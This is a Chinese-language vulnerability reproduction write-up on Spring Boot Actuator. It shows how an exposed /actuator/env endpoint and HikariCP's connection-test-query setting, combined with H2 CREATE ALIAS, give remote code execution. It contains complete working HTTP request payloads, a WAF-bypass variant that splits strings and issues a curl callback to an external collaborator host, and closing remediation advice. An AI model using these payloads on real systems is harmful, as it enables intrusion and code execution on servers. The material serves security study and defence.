1.Spring Boot & Actuator介绍
Spring Boot,其设计目的是用来简化新Spring应用的初始搭建以及开发过程,该框架使用了特定的方式来进行配置,快速的启动Spring应用。人员不再需要定义样板化的配置。Spring Boot应用本质上就是一个基于Spring框架的应用,它是Spring对“约定优先于配置”理念的最佳实践产物,它能够帮助开发者更快速高效地构建基于Spring生态圈的应用。 引入Spring Boot actuator框架是为了服务作更好的监控与性能查看,Spring Boot actuator是一个为原生端点增加了更多的指标和度量信息,分为应用配置类,度量指标类。操作控制类,但是假如由于开发人员的疏忽把这些监控的请求地址都暴露出来了,攻击者会通过服务的配置信息对服务进行攻击,例如当我们访问/mappings这个返回这个服务控制器映射关系报告,可以查询到所有的服务接口信息包括参数信息。
Actuator提供了以下端点,默认除了/shutdown都是Enabled。使用时需要加/actuator前缀,如http://localhost:8080/my-app/actuator/health。
ID | Description | Enabled by default |
---|---|---|
auditevents | 显示当前应用程序的审计事件信息 | Yes |
beans | 显示应用上下文中创建的所有Bean | Yes |
caches | 获取缓存信息 | Yes |
conditions | 显示配置类和自动配置类(configuration and auto-configuration classes) 的状态及它们被应用或未被应用的原因 | Yes |
configprops | 该端点用来获取应用中配置的属性信息报告 (所有@ConfigurationProperties的集合列表) | Yes |
env | 获取应用所有可用的环境属性报告。包括: 环境变量、JVM属性、应用的配置配置、命令行中的参数 | Yes |
flyway | 显示数据库迁移路径(如果有) | Yes |
health | 显示应用的健康信息 | Yes |
httptrace | 返回基本的HTTP跟踪信息。 (默认最多100 HTTP request-response exchanges). | Yes |
info | 返回一些应用自定义的信息,我们可以在application.properties 配置文件中通过info前缀来设置这些属性:info.app.name=spring-boot-hello | Yes |
integrationgraph | Shows the Spring Integration graph. | Yes |
loggers | Shows and modifies the configuration of loggers in the application. | Yes |
liquibase | Shows any Liquibase database migrations that have been applied. | Yes |
metrics | 返回当前应用的各类重要度量指标,比如:内存信息、线程信息、垃圾回收信息等 | Yes |
mappings | 返回所有Spring MVC的控制器映射关系报告 (所有@RequestMapping路径的集合列表) | Yes |
scheduledtasks | 显示应用程序中的计划任务 | Yes |
sessions | 允许从Spring会话支持的会话存储中检索和删除(retrieval and deletion) 用户会话。使用Spring Session对反应性Web应用程序的支持时不可用 | Yes |
shutdown | 允许应用以优雅的方式关闭(默认情况下不启用) | No |
threaddump | 执行一个线程dump | Yes |
如果使用web应用(Spring MVC, Spring WebFlux, 或者 Jersey),还可以使用以下端点:
ID | Description | Enabled by default |
---|---|---|
heapdump | 返回一个GZip压缩的hprof堆dump文件 | Yes |
jolokia | 通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用) | Yes |
logfile | 返回日志文件内容(如果设置了logging.file或logging.path属性的话), 支持使用HTTP Range头接收日志文件内容的部分信息 | Yes |
prometheus | 以可以被Prometheus服务器抓取的格式显示metrics信息 | Yes |
2.环境搭建
环境使用的是ananaskr师傅的
https://github.com/ananaskr/springboot_actuator/tree/master/actuator_hikaricp
下载下来,导入idea
3.漏洞复现
3.1漏洞原理
HikariCP数据库连接池
Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是spring.datasource.hikari.connection-test-query
。这个变量与HikariCP中的connectionTestQuery
配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query
的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。
H2 CREATE ALIAS 命令
H2数据库引擎是一个流行的java开发数据库,非常容易与Spring Boot集成,仅仅需要如下的一个dependency。
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>
在H2数据库中有一个非常重要的命令,与PostgreSQL中的用户定义函数相似,可以用CREATE ALIAS创建一个java函数然后调用它,示例如下:
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');
仿照这个,创建命令执行的java函数可以如下:
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {
return s.next();
} throw new IllegalArgumentException();
}
那么RCE所需的SQL语句即:
CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');
3.2漏洞复现
在端点/actuator/env
通过POST方法进行环境变量的赋值
payload:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 338
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('calc');"}
执行RCE的SQL语句已经构建好,接下来就是触发一个新的数据库连接,通过向端点/actuator/restart
发送POST请求,即可重启应用出发新的数据库连接。请求如下
POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 2
{}
成功弹出计算器
3.3过WAF
在这点上,可能会遇到常见的WAF过滤器,特别是对exec的过滤。然而,像这样的一个payload可以很容易地使用多种字符串拼接技术来绕过。比如使用CONCAT或HEXTORAW命令。上面的payload可写成
CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
CALL EXEC('curl http://x.burpcollaborator.net');
4.修复建议
引入security依赖,打开安全限制并进行身份验证。
同时设置单独的Actuator管理端口并配置不对外网开放。
拦截spring.datasource.hikari.connection-test-query
5.参考链接
https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
https://xz.aliyun.com/t/7480
https://www.cnblogs.com/storml/p/10913142.html